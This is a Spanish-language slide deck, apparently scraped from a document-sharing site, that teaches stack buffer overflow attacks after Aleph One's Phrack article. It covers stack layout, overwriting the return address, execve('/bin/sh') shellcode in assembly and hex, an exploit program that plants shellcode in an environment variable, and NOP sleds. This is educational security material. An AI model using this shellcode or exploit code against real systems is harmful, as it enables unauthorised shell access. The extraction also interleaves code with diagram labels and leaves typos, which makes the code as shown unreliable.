Está en la página 1de 25

Proyecto E.L.A.S.

Ataques basados en Desbordamiento de Buffer


(Buffer Overflow)
Agenda
• Organizacion de Procesos en Memoria
• Desbordamiento de Buffer
• Shellcode
• Funcionamiento de los Exploits
• Referencias

2
Agenda
• Organizacion de Procesos en Memoria
• Desbordamiento de Buffer
• Shellcode
• Funcionamiento de los Exploits
• Referencias

3
Organizacion de Procesos en Memoria
Pila
Direcciones de
memoria bajas Codigo Libre

SP
Datos
Variables
locales de
la funcion
Pila
Direcciones de
memoria altas BP

BP: Base Pointer


SP: Stack Pointer 4
Organizacion de Procesos en Memoria
void function (int a, int b, int c)
{
Pila – function(a,b,c)
char buffer1[5];
char buffer2[10]; SP 0xbffff9b0
}
void main() buffer2
{
function (1, 2, 3);
}
buffer1

function: ?
pushl %ebp
movl %esp, %ebp ?
subl $40, %esp
........... ?
ret
?
main:
pushl %ebp BP BP' 0xbffff9d8
movl %esp, %ebp
subl $8, %esp IP
...........
pushl $3
1
pushl $2 2
pushl $1
call function 3
...........
ret 5
4 bytes
Agenda
• Organizacion de Procesos en Memoria
• Desbordamiento de Buffer
• Shellcode
• Funcionamiento de los Exploits
• Referencias

6
Desbordamiento de Buffer
void function (int a, int b, int c)
{ Pila – function(a,b,c)
char buffer1[5];
char buffer2[10]; SP 0xbffff9b0

strcpy(buffer1, buffer2
"012345689ABCDEF0123456789ABCDEF");
}
void main()
{
0 buffer1
1 2 3
function (1, 2, 3);
} 4 5 6 7
?
8 9 A B
function: C D? E F
pushl %ebp
movl %esp, %ebp 0 1? 2 3
subl $40, %esp 4 5 6 7
........... ?
ret 8 9 A B
main: BP C DBP' E F 0xbffff9d8
pushl %ebp
movl %esp, %ebp IP
subl $8, %esp
........... 1
pushl $3 2
pushl $2
pushl $1 3
call function
........... 7
ret 4 bytes
Desbordamiento de Buffer
Pila – function(a,b,c)
void function(int a, int b, int c) {
char buffer1[5]; SP ret 0xbffff9ac
char buffer2[10];
int *ret;

ret = buffer1 + 28; buffer2


(*ret) += 10;
}
void main() {
int x;
buffer1
x = 0;
function(1,2,3);
x = 1;
?
printf("%d\n",x); ?
}
?
?
0x804838a <main+26>: push $0x3
0x804838c <main+28>: push $0x2 BP BP' 0xbffff9d8
0x804838e <main+30>: push $0x1
0x8048390 <main+32>: call 0x8048328 <function> IP
0x8048395 <main+37>: add $0x10,%esp
0x8048398 <main+40>: movl $0xa,0xfffffffc(%ebp) 1
0x804839f <main+47>: sub $0x8,%esp 2
0x80483a2 <main+50>: pushl 0xfffffffc(%ebp)
0x80483a5 <main+53>: push $0x804840d 3
0x80483aa <main+58>: call 0x8048268 <printf> 8
4 bytes
Agenda
• Organizacion de Procesos en Memoria
• Desbordamiento de Buffer
• Shellcode
• Funcionamiento de los Exploits
• Referencias

9
Shellcode
• Podemos cambiar la direccion de retorno de
una funcion desbordando el buffer
• Cambiaremos la direccion de retorno para
que apunte al codigo que queremos ejecutar
• El codigo sera una shell de UNIX
• El codigo estara en la pila, dentro del buffer
que queremos desbordar
• Al codigo que genera una shell de UNIX lo
llamaremos shellcode
10
Shellcode
Pila - function()
shellcode = ".......";

void function()
{
char buffer[16]; SP ret
int *ret;
buffer
strcpy(buffer, shellcode);
}

void main() Shellcode


{
function(); BP
} BP'
IP
11
Shellcode
void main() {
char *name[2]; Pila – main()
name[0] = "/bin/sh"; jmp 0x1f
name[1] = NULL; popl %esi
execve(name[0], name, NULL); movl %esi,0x8(%esi)
exit(0) xorl %eax,%eax
} movb %eax,0x7(%esi)
movl %eax,0xc(%esi)
movb $0xb,%al
movl %esi,%ebx
popl %esi leal 0x8(%esi),%ecx
movl %esi,0x8(%esi) leal 0xc(%esi),%edx
xorl %eax,%eax int $0x80
movb %eax,0x7(%esi) xorl %ebx,%ebx
movl %eax,0xc(%esi) movl %ebx,%eax
movb $0xb,%al inc %eax
movl %esi,%ebx int $0x80 3
leal 0x8(%esi),%ecx call -0x24
leal 0xc(%esi),%edx .string \"/bin/sh\"
int $0x80 2
xorl %ebx,%ebx BP BP'
movl %ebx,%eax IP
inc %eax 1
int $0x80 12
.string \"/bin/sh\"
Shellcode
DATOS
char shellcode[] = shellcode
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
"\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

void main() { PILA


int *ret;

ret = (int *)&ret + 2;


(*ret) = (int)shellcode;
ret
}
BP’
IP

13
Agenda
• Organizacion de Procesos en Memoria
• Desbordamiento de Buffer
• Shellcode
• Funcionamiento de los Exploits
• Referencias

14
Funcionamiento de los Exploits
• Hemos visto como ejecutar nuestro
shellcode cambiando la direccion de retorno
• Vamos a ver como desbordar el buffer de
forma que sobreescriba la direccion de
retorno

15
Funcionamiento de los Exploits
Datos
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0" shellcode
"\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd" large_string &buffer
"\x80\xe8\xdc\xff\xff\xff/bin/sh"; &buffer shellcode
large_string
&buffer
char large_string[128];
……..
void main() { &buffer
char buffer[96];
int i;
long *long_ptr=(long *)large_string; Pila – main()
for (i = 0; i < 32; i++) SP long_ptr
*(long_ptr + i) = (int) buffer;
i
for (i = 0; i < strlen(shellcode); i++) &buffer
large_string[i] = shellcode[i]; buffer
buffer
&buffer shellcode
strcpy(buffer,large_string); &buffer
} ……..
BP &buffer BP'
IP 16
Funcionamiento de los Exploits
• Problema:
– En la practica intentaremos explotar el buffer de
otro programa
– No sabemos en que direccion de memoria el
programa coloca el buffer
• Solucion:
– Normalmente, todos los programas tienen la pila
en la misma direccion
– Buscaremos la direccion del buffer modificando
el desplazamiento del shellcode dentro de la pila
17
Funcionamiento de los Exploits
void main(int argc, char #define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
*argv[]) { char shellcode[] =
char buffer[512]; "\xeb\x1f\x5e\x89\x76\x08\x31\xc0"
"\x88\x46\x07\x89\x46\x0c\xb0\x0b"
if (argc > 1) "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c"
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
strcpy(buffer,argv[1]); "\x80\xe8\xdc\xff\xff\xff/bin/sh";
} unsigned long get_sp(void) {
__asm__("movl %esp,%eax");
}
Datos void main(int argc, char *argv[]) {
char *buff, *ptr;
long *addr_ptr, addr;
shellcode int offset = DEFAULT_OFFSET;
int bsize = DEFAULT_BUFFER_SIZE;
int i;
ptr, buff addr EGG = 4
addr ‘malloc(bsize)’ buff = malloc(bsize);
addr = get_sp() - offset;
addr shellcode printf("Using address: 0x%x\n", addr);
addr ptr = buff;
addr_ptr = (long *) ptr;
addr for (i = 0; i < bsize; i+=4)
addr *(addr_ptr++) = addr;
addr ptr += 4;
for (i = 0; i < strlen(shellcode); i++)
…… *(ptr++) = shellcode[i];
addr buff[bsize - 1] = '\0';
memcpy(buff,"EGG=",4);
\0 puntenv(buff);
system(/bin/bash); 18
}
Funcionamiento de los Exploits
Pila exploit2 Pila vulnerable
[aleph1]$ ./exploit2 500
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
[aleph1]$ exit

SP

shellcode
buffer 512
SP
Variables locales

BP’ BP’
IP IP

19
Funcionamiento de los Exploits
Pila exploit2 Pila vulnerable
[aleph1]$ ./exploit2 600
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit

SP

buffer 512
SP
Variables locales shellcode

BP’ BP’
IP IP

20
Funcionamiento de los Exploits
Pila exploit2 Pila vulnerable
[aleph1]$ ./exploit2 600 1000
Using address: 0xbffffdb4
[aleph1]$ ./vulnerable $EGG
Illegal instruction
[aleph1]$ exit

SP

buffer 512
SP
Variables locales shellcode

BP’ BP’
IP IP

21
Funcionamiento de los Exploits
Pila exploit2 Pila vulnerable
[aleph1]$ ./exploit2 600 500
Using address: 0xbffffbc0
[aleph1]$ ./vulnerable $EGG
$

SP

buffer 512
SP
Variables locales shellcode

BP’ BP’
IP IP

22
Funcionamiento de los Exploits
• Problema: tenemos que adivinar la posicion
exacta donde empieza nuestro exploit
• Solucion: añadiremos instrucciones NOP (1
solo byte) al principio del shellcode

23
Funcionamiento de los Exploits
buffer
NOP
NOP

NOP

Shellcode Shellcode

address address
address address

….. …..

address address
24
Referencias
• Phrack vol 49, articulo 14: “Smashing the
stack for fun and profit”

25

También podría gustarte